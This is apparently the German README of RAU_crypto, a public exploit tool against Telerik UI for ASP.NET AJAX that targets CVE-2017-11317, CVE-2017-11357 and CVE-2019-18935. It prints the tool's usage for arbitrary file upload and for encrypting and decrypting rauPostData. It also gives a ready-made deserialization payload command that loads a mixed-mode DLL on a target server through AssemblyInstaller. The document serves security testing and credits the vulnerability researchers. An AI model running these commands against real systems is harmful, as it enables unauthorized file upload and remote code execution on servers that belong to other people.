RAU_crypto

Kombinierter Exploit für Telerik UI für ASP.NET AJAX.

• Datei-Upload für CVE-2017-11317 und CVE-2017-11357 - lädt die Datei automatisch hoch
• .NET-Deserialisierung für CVE-2019-18935

Damit der Exploit funktioniert, benötigt man in der Regel eine Version mit hartcodierten Schlüsseln, oder man muss den Schlüssel kennen, etwa wenn man den Inhalt der web.config offenlegen kann. Der Exploit ermöglicht außerdem die unkomplizierte Entschlüsselung und Verschlüsselung der rauPostData, die mit Telerik.Web.UI.WebResource.axd?type=rau verwendet werden.

Anforderungen

• python >= 3.6 mit pycryptodome (https://www.pycryptodome.org/en/latest/src/installation.html) - installiert mit pip3 install pycryptodome oder pip3 install pycryptodomex

Veröffentlicht auf exploit-db (alte Version)

• https://www.exploit-db.com/exploits/43874/

Siehe auch

Mein anderer Telerik-UI-Exploit (für CVE-2017-9248) dürfte ebenfalls von Interesse sein. Er ist hier verfügbar:

• https://github.com/bao7uo/dp_crypto

Aufgaben

• Fehlende HMAC-Funktionalität für spätere Versionen.
• Möglichkeit zur Angabe eines benutzerdefinierten Schlüssels.
• Befehlszeilenargument für die Ausführung einer Mixed-Mode-DLL (verwenden Sie in der Zwischenzeit das unten bereitgestellte Beispiel-Payload für die .NET-Deserialisierung).
• Separates Dienstprogramm zum Testen der Mixed-Mode-DLL.
• Quellcode-/Kompilierungsanweisungen für die Mixed-Mode-DLL bereitstellen.
• Versionen per Brute Force ermitteln.

Hinweis - die letzten vier Punkte sind abgeschlossen, aber nicht veröffentlicht.

Schwachstellen

Die Schwachstelle beim Datei-Upload (CVE-2017-11317) wurde von anderen entdeckt; meines Erachtens gebührt die Anerkennung @straight_blast @pwntester @olekmirosh. Kurz nach der Ankündigung stieß ich im Laufe meiner Arbeit auf die Telerik-Bibliothek, untersuchte sie und die Schwachstelle und schrieb diesen Exploit im Juli 2017. Ich habe außerdem CVE-2017-11357 für die damit verbundene unsichere direkte Objektreferenz gemeldet.

https://www.telerik.com/support/kb/aspnet-ajax/upload-%28async%29/details/insecure-direct-object-reference

Die Schwachstelle in der .NET-Deserialisierung (CVE-2019-18935) wurde von @mwulftange entdeckt.

https://www.telerik.com/support/kb/aspnet-ajax/details/allows-javascriptserializer-deserialization

Verwendung

$ ./RAU_crypto.py 

RAU_crypto by Paul Taylor / @bao7uo 
CVE-2017-11317, CVE-2019-18935 - Telerik RadAsyncUpload hardcoded keys / arbitrary file upload / .NET deserialisation

Usage:

Decrypt a ciphertext:               -d ciphertext
Decrypt rauPostData:                -D rauPostData
Encrypt a plaintext:                -e plaintext

Generate file upload rauPostData:   -E c:\\destination\\folder Version
Generate all file upload POST data: -p c:\\destination\\folder Version ../local/filename
Upload file:                        -P c:\\destination\\folder Version c:\\local\\filename url [proxy]

Generate custom payload POST data : -c partA partB
Send custom payload:                -C partA partB url [proxy]

Example URL:               http://target/Telerik.Web.UI.WebResource.axd?type=rau
Example Version format:    2016.2.504
Example optional proxy:    127.0.0.1:8080

N.B. Advanced settings e.g. custom keys or PBKDB algorithm can be found by searching source code for: ADVANCED_SETTINGS
$

Beispiel - Entschlüsselung

Entschlüsselungs-Screenshot

Beispiel - beliebiger Datei-Upload

Upload-Screenshot

Benutzerdefiniertes Payload (.NET-Deserialisierung)

Details zu benutzerdefinierten Payloads für die .NET-Deserialisierung finden Sie in einem großartigen Artikel von @mwulftange, der diese Schwachstelle entdeckt hat, im Code-White-Blog unter dem folgenden Link.

• https://codewhitesec.blogspot.com/2019/02/telerik-revisited.html

Weitere relevante Links.

• https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf
• https://threatvector.cylance.com/en_us/home/implications-of-loading-net-assemblies.html
• https://thewover.github.io/Mixed-Assemblies/

Beispiel-Payload für die .NET-Deserialisierung:

$ ./RAU_crypto.py -C '{"Path":"file:///c:/users/public/documents/mixedmode64.dll"}' 'System.Configuration.Install.AssemblyInstaller, System.Configuration.Install, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a' http://target/Telerik.Web.UI.WebResource.axd?type=rau

Für Mixed-Mode-DLLs siehe mein anderes GitHub-Repository:

• https://github.com/bao7uo/MixedUp

Besonderer Dank geht an @irsdl, der die Funktion für benutzerdefinierte Payloads inspiriert hat.